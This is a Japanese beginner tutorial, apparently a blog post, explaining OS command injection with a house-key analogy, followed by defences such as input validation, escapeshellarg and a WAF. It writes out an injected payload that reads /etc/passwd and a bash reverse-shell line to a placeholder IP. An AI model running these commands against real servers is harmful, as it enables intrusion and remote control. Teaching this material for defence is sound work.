家の鍵を「開けっ放し」にしていませんか？OSコマンドインジェクションの正体
こんにちは！セキュリティの世界へようこそ。今日は、プロのハッカーたちが密かに狙う「OSコマンドインジェクション」という攻撃について、一緒に学んでいきましょう。
いきなりですが、皆さんの家を想像してみてください。玄関の鍵を閉める代わりに、もし「誰でも自由に声で命令できるインターホン」がついていて、それが「開けろ」と言うだけで勝手にドアを開けてしまうとしたら……怖すぎますよね。
実は、Webサイトにもこれと同じような「致命的な隙」が存在することがあります。それがOSコマンドインジェクションです。
—
1. OSコマンドインジェクションって何？
Webサイトには、ユーザーが入力した情報をサーバー側で処理する機能がたくさんあります。例えば、「IPアドレスを入力すると、そのサーバーが生きているか確認（ping）する」という便利なツールがあったとしましょう。
本来、開発者は「IPアドレスだけを入れてほしい」と思って作ります。しかし、プログラムの書き方が甘いと、悪意のある攻撃者はIPアドレスの代わりに「命令（コマンド）」を送り込みます。
泥棒の手口（攻撃の仕組み）
攻撃者は、サーバーが持っている「命令を実行する窓口」を悪用します。
1. 正常な命令: ping 8.8.8.8（Googleのサーバーを確認してね）
2. 悪意ある命令: ping 8.8.8.8 ; cat /etc/passwd
ここでポイントなのは、真ん中の「 `; 」（セミコロン）」です。これはプログラミングの世界で「前の命令が終わったら、続けて次の命令を実行しろ」という合図になります。サーバーは素直に「はい、pingを打って……あ、次はパスワードファイルの中身を表示しろってことですね！」と実行してしまいます。これが「インジェクション（注入）」の正体です。
—
2. リバースシェル：泥棒が「家主」になる瞬間
さらに恐ろしいのが「リバースシェル」です。これは、攻撃者が自分のPCからサーバーを遠隔操作できるようにする魔法のような手法です。
先ほどのセミコロンを使って、今度は「私のPCに接続して、コマンドを待ち受けなさい」という命令を送り込みます。
# 攻撃者がサーバーに送る命令のイメージ
# 自分のPC（1.2.3.4）のポート（4444）に対して接続を確立する
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1これが通ってしまうと、攻撃者は自分のPCから「サーバーの画面（ターミナル）」を完全に手に入れてしまいます。 家の鍵を勝手に開けられただけでなく、家主が追い出され、泥棒が堂々とリビングでくつろいでいる状態です。
—
3. どうやって防ぐの？（一歩ずつ対策しよう！）
では、どうすればこの「開けっ放しの鍵」を防げるのでしょうか。いくつか基本の対策を見ていきましょう。
対策その1：ユーザー入力を「そのまま」信用しない
一番の対策は、入力された文字を「命令」として解釈させないことです。プログラミングでは、ユーザーの入力をそのままコマンド実行関数（system()やexec()など）に渡すのは絶対に避けましょう。
対策その2：ホワイトリストで制限する
「IPアドレスしか入力させない」と決めているなら、プログラム側で「数字とドット以外の文字が入っていたらエラーにする」というフィルターをかけます。
// PHPでの対策例
$ip = $_GET['ip'];
// IPアドレスの形式（数字とドットのみ）かチェックする
if (filter_var($ip, FILTER_VALIDATE_IP)) {
// 安全だと確認できた場合のみ実行
system("ping -c 4 " . escapeshellarg($ip));
} else {
echo "不正な入力です！";
}※escapeshellarg()という関数を使うと、入力値がコマンドの一部として暴走するのを防いでくれます。
対策その3：防御ヘッダー（WAFの活用など）
Webサーバーの入り口に「警備員」を配置することも有効です。WAF（Web Application Firewall）という仕組みを入れると、怪しい命令（; や /etc/passwd など）が含まれるリクエストを自動的にブロックしてくれます。
—
最後に：セキュリティは「疑うこと」から始まる
セキュリティエンジニアとして一番大切なのは、「自分たちが作ったコードは、悪意あるユーザーによってどう悪用されるか？」と常に疑う癖をつけることです。
最初は難しく感じるかもしれませんが、まずは「ユーザーからの入力には必ず毒が入っているかもしれない」と意識するだけで、皆さんのコードは格段に強固になります。
今日から一つずつ、自分の書いているコードを見直してみませんか？その小さな一歩が、大切なシステムとユーザーを守る大きな盾になりますよ！
もし「もっと深く知りたい！」ということがあれば、いつでも聞いてくださいね。一緒に学んでいきましょう！
コメント